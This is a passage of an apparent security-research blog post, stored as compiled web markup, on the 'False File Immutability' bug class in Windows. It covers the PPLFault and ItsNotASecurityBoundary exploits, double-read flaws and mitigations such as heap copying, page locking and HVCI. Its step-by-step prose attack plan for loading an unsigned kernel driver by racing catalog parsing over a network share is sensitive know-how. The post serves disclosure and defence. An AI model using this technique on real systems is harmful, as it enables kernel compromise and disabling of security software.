\",(0,i.jsx)(e.a,{href:\"https://x.com/GabrielLandau/status/1668353640833114131\",rel:\"nofollow\",children:\"FIPS 140-2 modules\"}),\".\"]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Exposed to consumers as \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/apps/develop/smart-app-control/overview\",rel:\"nofollow\",children:\"Smart App Control\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[\"Exposed to businesses as \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/mem/intune/protect/endpoint-security-app-control-policy\",rel:\"nofollow\",children:\"App Control for Business\"}),\" (formerly WDAC)\"]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"KMCI and UMCI implement different policies for different scenarios. For example, the policy for Protected Processes is different from that of INTEGRITYCHECK.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"incorrect-assumptions\",children:\"Incorrect assumptions\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Microsoft \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea\",rel:\"nofollow\",children:\"documentation\"}),\" implies that files successfully opened without write sharing can\\u2019t be modified by another user or process.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`FILE_SHARE_WRITE\n0x00000002\nEnables subsequent open operations on a file or device to request write access. Otherwise, other processes cannot open the file or device if they request write access.\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"If this flag is not specified, but the file or device has been opened for write access or has a file mapping with write access, the function fails.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Above, we discussed how sharing is enforced by the filesystem, but what if the filesystem doesn\\u2019t know that the file\\u2019s been modified?\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Like most user mode memory, the Memory Manager (MM) in the kernel may page-out portions of file mappings when it deems necessary, such as when the system needs more free physical memory. Both data and executable image mappings may be paged-out. Executable image sections can never modify the backing file, so they\\u2019re effectively treated as read-only with respect to the backing PE file. As mentioned before, image sections are copy-on-write, meaning any in-memory changes immediately create a private copy of the given page.\"}),`\n`,(0,i.jsx)(e.p,{children:\"When the memory manager needs to page-out a page from an image section, it can use the following decision tree:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Never modified? Discard it. We can read the contents back from the immutable file on disk.\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"Modified? Save private copy it to the pagefile.\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"Example: If a security product hooks a function in \",(0,i.jsx)(e.code,{children:\"ntdll.dll\"}),\", MM will create a private copy of each modified page. Upon page-out, private pages will be written to the pagefile.\"]}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"If those paged-out pages are later touched, the CPU will issue a page fault and the MM will restore the pages.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Page never modified? Read the original contents back from the immutable file on disk.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Page private? Read it from the pagefile.\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Note the following exception: The memory manager may treat PE-relocated pages as unmodified, dynamically reapplying relocations during page faults.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"page-hashes\",children:\"Page hashes\"}),`\n`,(0,i.jsx)(e.p,{children:\"Page hashes are a list of hashes of each 4KB page within a PE file. Since pages are 4KB, page faults typically occur on 4KB of data at a time. Full Authenticode verification requires the entire contiguous PE file, which isn\\u2019t available during a page fault. Page hashes allow the MM to validate hashes of individual pages during page faults.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"There are two types of page hashes, which we\\u2019ve coined static and dynamic. Static page hashes are stored within a PE\\u2019s digital signature if the developer passes \",(0,i.jsx)(e.code,{children:\"/ph\"}),\" to \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/seccrypto/signtool\",rel:\"nofollow\",children:(0,i.jsx)(e.code,{children:\"signtool\"})}),\". By pre-computing these, they are immediately available to the MM and CI upon module load.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"CI can also compute them on-the-fly during signature validation, a mechanism we\\u2019re calling dynamic page hashes. Dynamic page hashes give CI flexibility to enforce page hashes even for files that were never signed with them.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Page hashes are not free - they use CPU and slow down page faults. They\\u2019re not used in most cases.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"attacking-code-integrity\",children:\"Attacking code integrity\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Imagine a scenario where a ransomware operator wants to ransom a hospital, so they send a phishing email to a hospital employee. The employee opens the email attachment and enables macros, running the ransomware. The ransomware employs a UAC bypass to immediately elevate to admin, then attempts to terminate any security software on the system so it can operate unhindered. Anti-Malware services run as \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-\",rel:\"nofollow\",children:\"Protected Process Light\"}),\" (PPL), protecting them from tampering by malware with admin rights, so the ransomware can\\u2019t terminate the Anti-Malware service.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"If the ransomware could also run as a PPL, it could terminate the Anti-Malware product. The ransomware can\\u2019t launch itself directly as a PPL because UMCI prevents improperly-signed EXEs and DLLs from loading into PPL, as we discussed above. The ransomware might try to inject code into a PPL by modifying an EXE or DLL that\\u2019s already running, but the aforementioned \",(0,i.jsx)(e.strong,{children:\"MmFlushImageSection\"}),\" ensures in-use PE files remain immutable, so this isn\\u2019t possible.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"We previously discussed how the filesystem is responsible for sharing checks. \",(0,i.jsx)(e.em,{children:\"What would happen if an attacker were to move the filesystem to another machine?\"})]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/what-is-a-network-redirector-\",rel:\"nofollow\",children:\"Network redirectors\"}),\" allow the use of network paths with any API that accepts file paths. This is very convenient, allowing users and applications to easily open and memory-map files over the network. Any resulting I/O is transparently redirected to the remote machine. If a program is launched from a network drive, the executable images for the EXE and its DLLs will be transparently pulled from the network.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"When a network redirector is in use, the server on the other end of the pipe needn\\u2019t be a Windows machine. It could be a Linux machine running \",(0,i.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Samba_(software)\",rel:\"nofollow\",children:\"Samba\"}),\", or even a python \",(0,i.jsx)(e.a,{href:\"https://github.com/fortra/impacket/blob/d71f4662eaf12c006c2ea7f5ec09b418d9495806/examples/smbserver.py\",rel:\"nofollow\",children:\"impacket script\"}),\" that \\u201Cspeaks\\u201D the \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview\",rel:\"nofollow\",children:\"SMB network protocol\"}),\". This means the server doesn\\u2019t have to honor Windows filesystem sharing semantics.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"An attacker can employ a network redirector to modify a PPL\\u2019s DLL server-side, bypassing sharing restrictions. This means that PEs backing an executable image section are incorrectly assumed to be immutable. This is a class of vulnerability that we are calling \",(0,i.jsx)(e.strong,{children:\"False File Immutability\"}),\" (FFI).\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"paging-exploitation\",children:\"Paging exploitation\"}),`\n`,(0,i.jsx)(e.p,{children:\"If an attacker successfully exploits False File Immutability to inject code into an in-use PE, wouldn\\u2019t page hashes catch such an attack? The answer is: sometimes. If we look at the following table, we can see that page hashes are enforced for kernel drivers and Protected Processes, but not for PPL, so let\\u2019s pretend we\\u2019re an attacker targeting PPL.\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{}),(0,i.jsx)(e.th,{children:\"Authenticode\"}),(0,i.jsx)(e.th,{children:\"Page hashes\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Kernel drivers\"}),(0,i.jsx)(e.td,{children:\"\\u2705\"}),(0,i.jsx)(e.td,{children:\"\\u2705\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Protected Processes (PP-Full)\"}),(0,i.jsx)(e.td,{children:\"\\u2705\"}),(0,i.jsx)(e.td,{children:\"\\u2705\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Protected Process Light (PPL)\"}),(0,i.jsx)(e.td,{children:\"\\u2705\"}),(0,i.jsx)(e.td,{children:\"\\u274C\"})]})]})]})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Last year at Black Hat Asia 2023 (\",(0,i.jsx)(e.a,{href:\"https://www.blackhat.com/asia-23/briefings/schedule/#ppldump-is-dead-long-live-ppldump-31052\",rel:\"nofollow\",children:\"abstract\"}),\", \",(0,i.jsx)(e.a,{href:\"http://i.blackhat.com/Asia-23/AS-23-Landau-PPLdump-Is-Dead-Long-Live-PPLdump.pdf\",rel:\"nofollow\",children:\"slides\"}),\", \",(0,i.jsx)(e.a,{href:\"https://www.youtube.com/watch?v=5xteW8Tm410\",rel:\"nofollow\",children:\"recording\"}),\"), we disclosed a vulnerability in the Windows kernel, showing how bad assumptions in paging can be exploited to inject code into PPL, defeating security features like \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection\",rel:\"nofollow\",children:\"LSA\"}),\" \u0026 \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-\",rel:\"nofollow\",children:\"Anti-Malware Process Protection\"}),\". The attack leveraged False File Immutability assumptions for DLLs in PPLs, as we just described, though we hadn\\u2019t yet named the vulnerability class.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image5.png\",alt:\"A diagram of the PPLFault exploit\",width:\"1334\",height:\"563\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Alongside the presentation, we released the \",(0,i.jsx)(e.a,{href:\"https://github.com/gabriellandau/PPLFault\",rel:\"nofollow\",children:\"PPLFault exploit\"}),\" which demonstrates the vulnerability by dumping the memory of an otherwise-protected PPL. We also released the GodFault exploit chain, which combines the PPLFault Admin-to-PPL exploit with the AngryOrchard PPL-to-kernel exploit to achieve full read/write control of physical memory from user mode. We did this to motivate Microsoft to take action on a vulnerability that MSRC \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/forget-vulnerable-drivers-admin-is-all-you-need\",rel:\"nofollow\",children:\"declined to fix\"}),\" because it did not meet their \",(0,i.jsx)(e.a,{href:\"https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria\",rel:\"nofollow\",children:\"servicing criteria\"}),\". Thankfully, the Windows Defender team at Microsoft stepped up, \",(0,i.jsx)(e.a,{href:\"https://x.com/GabrielLandau/status/1757818200127946922\",rel:\"nofollow\",children:\"releasing a fix\"}),\" in February 2024 that enforces dynamic page hashes for executable images loaded over network redirectors, breaking PPLFault.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"new-research\",children:\"New research\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Above, we discussed Authenticode signatures embedded within PE files. In addition to embedded signatures, Windows supports a form of detached signature called a \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows-hardware/drivers/install/catalog-files\",rel:\"nofollow\",children:\"security catalog\"}),\". Security catalogs (.cat files) are essentially a list of signed authentihashes. Every PE with an authentihash in that list is considered to be signed by that signer. Windows keeps a large collection of catalog files in \",(0,i.jsx)(e.code,{children:\"C:\\\\Windows\\\\System32\\\\CatRoot\"}),\" which CI loads, validates, and caches.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image7.png\",alt:\"Simplified structure of a security catalog\",width:\"1440\",height:\"42\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image21.png\",alt:\"A security catalog rendered through Windows Explorer\",width:\"810\",height:\"511\"})}),`\n`,(0,i.jsx)(e.p,{children:\"A typical Windows system has over a thousand catalog files, many containing dozens or hundreds of authentihashes.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image16.png\",alt:\"Security catalogs on a Windows 11 23H2 system\",width:\"1012\",height:\"502\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"To use a security catalog, Code Integrity must first load it. This occurs in a few discrete steps. First, CI maps the file into kernel memory using \",(0,i.jsx)(e.strong,{children:\"ZwOpenFile\"}),\", \",(0,i.jsx)(e.strong,{children:\"ZwCreateSection\"}),\", and \",(0,i.jsx)(e.strong,{children:\"ZwMapViewOfSection\"}),\". Once mapped, it validates the catalog\\u2019s digital signature using \",(0,i.jsx)(e.strong,{children:\"CI!MinCrypK_VerifySignedDataKModeEx\"}),\". If the signature is valid, it parses the hashes with \",(0,i.jsx)(e.strong,{children:\"CI!I_MapFileHashes\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image10.png\",alt:\"The Code Integrity catalog parsing process\",width:\"1000\",height:\"402\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Breaking this down, we see a few key insights. First, \",(0,i.jsx)(e.strong,{children:\"ZwCreateSection(SEC_COMMIT)\"}),\" tells us that CI is creating a data section, not an image section. This is important because there is no concept of page hashes for data sections.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Next, the file is opened without \",(0,i.jsx)(e.strong,{children:\"FILE_SHARE_WRITE\"}),\", meaning write sharing is denied. This is intended to prevent modification of the security catalog during processing. However, as we have shown above, this is a bad assumption and another example of False File Immutability. It should be possible, in theory, to perform a PPLFault-style attack on security catalog processing.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"planning-the-attack\",children:\"Planning the attack\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image11.png\",alt:\"\",width:\"1440\",height:\"738\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The general flow of the attack is as follows:\"}),`\n`,(0,i.jsxs)(e.ol,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"The attacker will plant a security catalog on a storage device that they control. They will install a symbolic link to this catalog in the \",(0,i.jsx)(e.code,{children:\"CatRoot\"}),\" directory, so Windows knows where to find it.\"]}),`\n`,(0,i.jsx)(e.li,{children:\"The attacker asks the kernel to load a malicious unsigned kernel driver.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Code Integrity attempts to validate the driver, but it can\\u2019t find a signature or trusted authentihash, so it re-scans the CatRoot directory and finds the attacker\\u2019s new catalog.\"}),`\n`,(0,i.jsx)(e.li,{children:\"CI maps the catalog into kernel memory and validates its signature. This generates page faults which are sent to the attacker\\u2019s storage device. The storage device returns a legitimate Microsoft-signed catalog.\"}),`\n`,(0,i.jsx)(e.li,{children:\"The attacker empties the system working set, forcing all the previously-fetched catalog pages to be discarded.\"}),`\n`,(0,i.jsx)(e.li,{children:\"CI begins parsing the catalog, generating new page faults. This time, the storage device injects the authentihash of their malicious driver.\"}),`\n`,(0,i.jsx)(e.li,{children:\"CI finds the malicious driver\\u2019s authentihash in the catalog and loads the driver. At this point, the attacker has achieved arbitrary code execution in the kernel.\"}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"implementation-and-considerations\",children:\"Implementation and considerations\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The plan is to use a PPLFault-style attack, but there are some important differences in this situation. PPLFault used an \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/fileio/opportunistic-locks\",rel:\"nofollow\",children:\"opportunistic lock\"}),\" (oplock) to deterministically freeze the victim process\\u2019s initialization. This gave the attacker time to switch over to the payload and flush the system working set. Unfortunately, we couldn\\u2019t find any good opportunities for oplocks here. Instead, we\\u2019re going to pursue a probabilistic approach: rapidly toggling the security catalog between the malicious and benign versions.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image12.png\",alt:\"The catalog being toggled between benign and malicious versions; only one hash changes\",width:\"1051\",height:\"763\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The verification step touches every page of the catalog, which means all of those pages will be resident in memory when parsing begins. If the attacker changes the catalog on their storage device, it won\\u2019t be reflected in memory until after a subsequent page fault. To evict these pages from kernel memory, the attacker must empty the working set between \",(0,i.jsx)(e.strong,{children:\"MinCrypK_VerifySignedDataKModeEx\"}),\" and \",(0,i.jsx)(e.strong,{children:\"I_MapFileHashes\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:\"This approach is inherently a race condition. There\\u2019s no built-in delays between signature verification and catalog parsing - it\\u2019s a tight race. We\\u2019ll need to employ several techniques to widen our window of opportunity.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Most security catalogs on the system are small, a few kilobytes. By choosing a large 4MB catalog, we can greatly increase the amount of time that CI spends parsing. Assuming catalog parsing is linear, we can choose an authentihash near the end of the catalog to maximize the time between signature verification and when CI reaches our tampered page. Further, we will create threads for each CPU on the system whose sole purpose is to consume CPU cycles. These threads run at higher priority than CI, so CI will be starved of CPU time. There will be one thread dedicated to repeatedly flushing pages from the system\\u2019s working set, and one thread repeatedly attempting to load the unsigned driver.\"}),`\n`,(0,i.jsx)(e.p,{children:\"This attack has two main failure modes. First, if the payload Authentihash is read during the signature check, then the signature will be invalid and the catalog will be rejected.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image17.png\",alt:\"Code Integrity rejecting a tampered security catalog\",width:\"1440\",height:\"85\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Next, if an even number of toggles occur (including zero) between signature validation and parsing, then CI will parse the benign hash and reject our driver.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image6.png\",alt:\"Passing the signature check, but the benign catalog is parsed\",width:\"1113\",height:\"257\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The attacker wins if CI validates a benign catalog then parses a malicious one.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image20.png\",alt:\"Code Integrity validating a benign catalog, then parsing a malicious one\",width:\"1112\",height:\"271\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"exploit-demo\",children:\"Exploit demo\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"We named the exploit \",(0,i.jsx)(e.strong,{children:\"ItsNotASecurityBoundary\"}),\" as an homage to MSRC's \",(0,i.jsx)(e.a,{href:\"https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria\",rel:\"nofollow\",children:\"policy\"}),' that \"Administrator-to-kernel is not a security boundary.\\u201D The code is in GitHub ',(0,i.jsx)(e.a,{href:\"https://github.com/gabriellandau/ItsNotASecurityBoundary\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Demo video \",(0,i.jsx)(e.a,{href:\"https://drive.google.com/file/d/13Uw38ZrNeYwfoIuD76qlLgyXP8kRc8Nz/view?usp=sharing\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"understanding-these-vulnerabilities\",children:\"Understanding these vulnerabilities\"}),`\n`,(0,i.jsx)(e.p,{children:\"In order to properly defend against these vulnerabilities, we first need to understand them better.\"}),`\n`,(0,i.jsx)(e.p,{children:\"A double-read (aka double-fetch) vulnerability can occur when victim code reads the same value out of an attacker-controlled buffer more than once. The attacker may change the value of this buffer between the reads, resulting in unexpected victim behavior.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Imagine there is a page of memory shared between two processes for an IPC mechanism. The client and server send data back and forth using the following struct. To send an IPC request, a client first writes a request struct into the shared memory page, then signals an event to notify the server of a pending request.\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:\"language-c\",children:`struct IPC_PACKET\n{\n SIZE_T length;\n UCHAR data[];\n};\n`})}),`\n`,(0,i.jsx)(e.p,{children:\"A double-read attack could look something like this:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image18.png\",alt:\"An example of a double-read exploit using shared memory\",width:\"1137\",height:\"557\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"First, the attacking client sets a packet\\u2019s structure\\u2019s length field to 16 bytes, then signals the server to indicate that a packet is ready for processing. The victim server wakes up and allocates a 16-byte buffer using \",(0,i.jsx)(e.code,{children:\"malloc(pPacket-\u003elength)\"}),\". Immediately afterwards, the attacker changes the length field to 32. Next, the victim server attempts to copy the packet\\u2019s contents into the the new buffer by calling \",(0,i.jsx)(e.code,{children:\"memcpy(pBuffer, pPacket-\u003edata, pPacket-\u003elength)\"}),\", re-reading the value in \",(0,i.jsx)(e.code,{children:\"pPacket-\u003elength\"}),\", which is now 32. The victim ends up copying 32 bytes into a 16-byte buffer, overflowing it.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"Double-read vulnerabilities frequently apply to shared-memory scenarios. They commonly occur in drivers that operate on user-writable buffers. Due to False File Immutability, developers need to be aware that their scope is actually much wider, and includes all files writable by attackers. Denying write sharing does not necessarily prevent file modification.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"affected-operations\",children:\"Affected Operations\"}),`\n`,(0,i.jsx)(e.p,{children:\"What types of operations are affected by False File Immutability?\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Operation\"}),(0,i.jsx)(e.th,{children:\"API\"}),(0,i.jsx)(e.th,{children:\"Mitigations\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Image Sections\"}),(0,i.jsxs)(e.td,{children:[(0,i.jsx)(e.strong,{children:\"CreateProcess\"}),\" \",(0,i.jsx)(e.strong,{children:\"LoadLibrary\"})]}),(0,i.jsx)(e.td,{children:\"1. Enable Page Hashes\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Data Sections\"}),(0,i.jsxs)(e.td,{children:[(0,i.jsx)(e.strong,{children:\"MapViewOfFile\"}),\" \",(0,i.jsx)(e.strong,{children:\"ZwMapViewOfSection\"})]}),(0,i.jsx)(e.td,{children:\"1. Avoid double reads\\\\ 2. Copy the file to a heap buffer before processing\\\\ 3. Prevent paging via MmProbeAndLockPages/VirtualLock\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:\"Regular I/O\"}),(0,i.jsxs)(e.td,{children:[(0,i.jsx)(e.strong,{children:\"ReadFile\"}),\" \",(0,i.jsx)(e.strong,{children:\"ZwReadFile\"})]}),(0,i.jsx)(e.td,{children:\"1. Avoid double reads\\\\ 2. Copy the file to a heap buffer before processing\"})]})]})]})}),`\n`,(0,i.jsx)(e.h3,{id:\"what-else-could-be-vulnerable\",children:\"What else could be vulnerable?\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Looking for potentially-vulnerable calls to \",(0,i.jsx)(e.strong,{children:\"ZwMapViewOfSection\"}),\" in the NT kernel yields quite a few interesting functions:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image8.png\",alt:\"Potentially-vulnerable uses of ZwMapViewOfSection within the NT kernel\",width:\"710\",height:\"485\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"If we expand our search to regular file I/O, we find even more candidates. An important caveat, however, is that \",(0,i.jsx)(e.strong,{children:\"ZwReadFile\"}),\" may be used for more than just files. Only uses on files (or those which could be coerced into operating on files) could be vulnerable.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image14.png\",alt:\"Potentially-vulnerable uses of ZwReadFile within the NT kernel\",width:\"711\",height:\"520\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Looking outside of the NT kernel, we can find other drivers to investigate:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image2.png\",alt:\"Potentially-vulnerable uses of ZwReadFile in Windows 11 kernel drivers\",width:\"579\",height:\"606\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image1.png\",alt:\"Potentially-vulnerable uses of ZwMapViewOfSection in Windows 11 kernel drivers\",width:\"651\",height:\"340\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"dont-forget-about-user-mode\",children:\"Don\\u2019t forget about user mode\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"We\\u2019ve mostly been discussing the kernel up to this point, but it\\u2019s important to note that any user mode application that calls \",(0,i.jsx)(e.strong,{children:\"ReadFile\"}),\", \",(0,i.jsx)(e.strong,{children:\"MapViewOfFile\"}),\", or \",(0,i.jsx)(e.strong,{children:\"LoadLibrary\"}),\" on an attacker-controllable file, denying write sharing for immutability, may be vulnerable. Here\\u2019s a few hypothetical examples.\"]}),`\n`,(0,i.jsx)(e.h4,{id:\"mapviewoffile\",children:\"MapViewOfFile\"}),`\n`,(0,i.jsx)(e.p,{children:\"Imagine an application that is split into two components - a low-privileged worker process with network access, and a privileged service that installs updates. The worker downloads updates and stages them to a specific folder. When the privileged service sees a new update staged, it first validates the signature before installing the update. An attacker could abuse FFI to modify the update after the signature check.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"readfile\",children:\"ReadFile\"}),`\n`,(0,i.jsx)(e.p,{children:\"Since files are subject to double-read vulnerabilities, anything that parses complex file formats may be vulnerable, including antivirus engines and search indexers.\"}),`\n`,(0,i.jsx)(e.h4,{id:\"loadlibrary\",children:\"LoadLibrary\"}),`\n`,(0,i.jsx)(e.p,{children:\"Some applications rely on UMCI to prevent attackers from loading malicious DLLs into their processes. As we\\u2019ve shown with PPLFault, FFI can defeat UMCI.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"stopping-the-exploit\",children:\"Stopping the exploit\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Per their official servicing guidelines, MSRC won\\u2019t service Admin -\u003e Kernel vulnerabilities by default. In this parlance, servicing means \\u201Cfix via security update.\\u201D This type of vulnerability, however, allows malware to bypass \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-\",rel:\"nofollow\",children:\"AV Process Protections\"}),\", leaving AV and EDR vulnerable to instant-kill attacks.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"As a third-party, we can\\u2019t patch Code Integrity, so what can we do to protect our customers? To mitigate \",(0,i.jsx)(e.strong,{children:\"ItsNotASecurityBoundary\"}),\", we created \",(0,i.jsx)(e.strong,{children:\"FineButWeCanStillEasilyStopIt\"}),\", a filesystem minifilter driver that prevents Code Integrity from opening security catalogs over network redirectors. You can find it on GitHub \",(0,i.jsx)(e.a,{href:\"https://github.com/gabriellandau/ItsNotASecurityBoundary/tree/main/FineButWeCanStillEasilyStopIt\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:\"FineButWeCanStillEasilyStopIt has to jump through some hoops to correctly identify the problematic behavior while minimizing false positives. Ideally, CI itself could be fixed with a few small changes. Let\\u2019s look at what that would take.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image13.png\",alt:\"Fixing catalog processing by copying the catalog to the heap\",width:\"1000\",height:\"494\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"As mentioned above in the Affected Operations section, applications can mitigate double-read vulnerabilities by copying the file contents out of the file mapping into the heap, and exclusively using that heap copy for all subsequent operations. The kernel heap is called the \",(0,i.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/memory/memory-pools\",rel:\"nofollow\",children:\"pool\"}),\", and the corresponding allocation function is \",(0,i.jsx)(e.strong,{children:\"ExAllocatePool\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/false-file-immutability/image15.png\",alt:\"Fixing catalog processing by locking the pages into RAM\",width:\"1000\",height:\"493\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"An alternative mitigation strategy to break these types of exploits is to pin the pages of the file mapping into physical memory using an API such as \",(0,i.jsx)(e.strong,{children:\"MmProbeAndLockPages\"}),\". This prevents eviction of those pages when the attacker empties the working set.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"end-user-detection-and-mitigation\",children:\"End-user detection and mitigation\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Fortunately, there is a way for end-users to mitigate this exploit without changes from Microsoft \\u2013 Hypervisor Protected Code Integrity (HVCI). If HVCI is enabled, CI.dll doesn\\u2019t do catalog parsing at all. Instead, it sends the catalog contents to the Secure Kernel, which runs in a separate virtual machine on the same host. The Secure Kernel stores the received catalog contents in its own heap, from which signature validation and parsing are performed. Just like with the 